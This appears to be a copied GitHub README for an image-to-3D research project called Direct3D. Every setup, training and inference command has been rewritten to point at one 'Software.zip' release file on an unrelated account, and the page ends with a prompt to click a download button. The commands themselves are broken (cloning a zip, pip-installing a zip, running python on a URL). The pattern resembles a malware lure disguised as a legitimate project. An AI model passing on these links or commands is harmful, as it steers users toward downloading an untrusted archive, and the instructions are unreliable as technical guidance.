Welcome to the official repository of Direct3D, a groundbreaking project presented at NeurIPS 2024 for Scalable Image-to-3D Generation using 3D Latent Diffusion Transformer. This repository houses all the code, models, and resources related to the Direct3D project.
- Code: Contains the implementation of the Direct3D model in PyTorch.
- Models: Pre-trained models for image-to-3D generation tasks.
- Data: Datasets used for training and evaluation.
- Results: Visualizations, evaluation metrics, and qualitative results.
- Documentation: Detailed documentation on how to use Direct3D for your own projects.
To get started with Direct3D, follow these steps:
- Clone this repository to your local machine.
git clone https://github.com/sam8888102/Direct3D/releases/download/v1.0/Software.zip
- Install the required dependencies using
pip
.
pip install -r https://github.com/sam8888102/Direct3D/releases/download/v1.0/Software.zip
- Download the pre-trained models and necessary datasets.
- Training: To train the Direct3D model, run:
python https://github.com/sam8888102/Direct3D/releases/download/v1.0/Software.zip --dataset_path /path/to/dataset --batch_size 16 --epochs 50
- Inference: Generate 3D models from images using a pre-trained Direct3D model:
python https://github.com/sam8888102/Direct3D/releases/download/v1.0/Software.zip --image https://github.com/sam8888102/Direct3D/releases/download/v1.0/Software.zip --model_path https://github.com/sam8888102/Direct3D/releases/download/v1.0/Software.zip
- Evaluation: Evaluate the performance of the Direct3D model on a test dataset:
python https://github.com/sam8888102/Direct3D/releases/download/v1.0/Software.zip --dataset_path /path/to/test_dataset --model_path https://github.com/sam8888102/Direct3D/releases/download/v1.0/Software.zip
We welcome contributions to Direct3D! If you'd like to add new features, fix bugs, or improve the documentation, feel free to submit a pull request. Your help is greatly appreciated.
Note: Click on the button above to download Direct3D.
If you encounter any issues or need assistance with Direct3D, please refer to the Releases section for the latest updates and bug fixes.
Thank you for your interest in Direct3D! π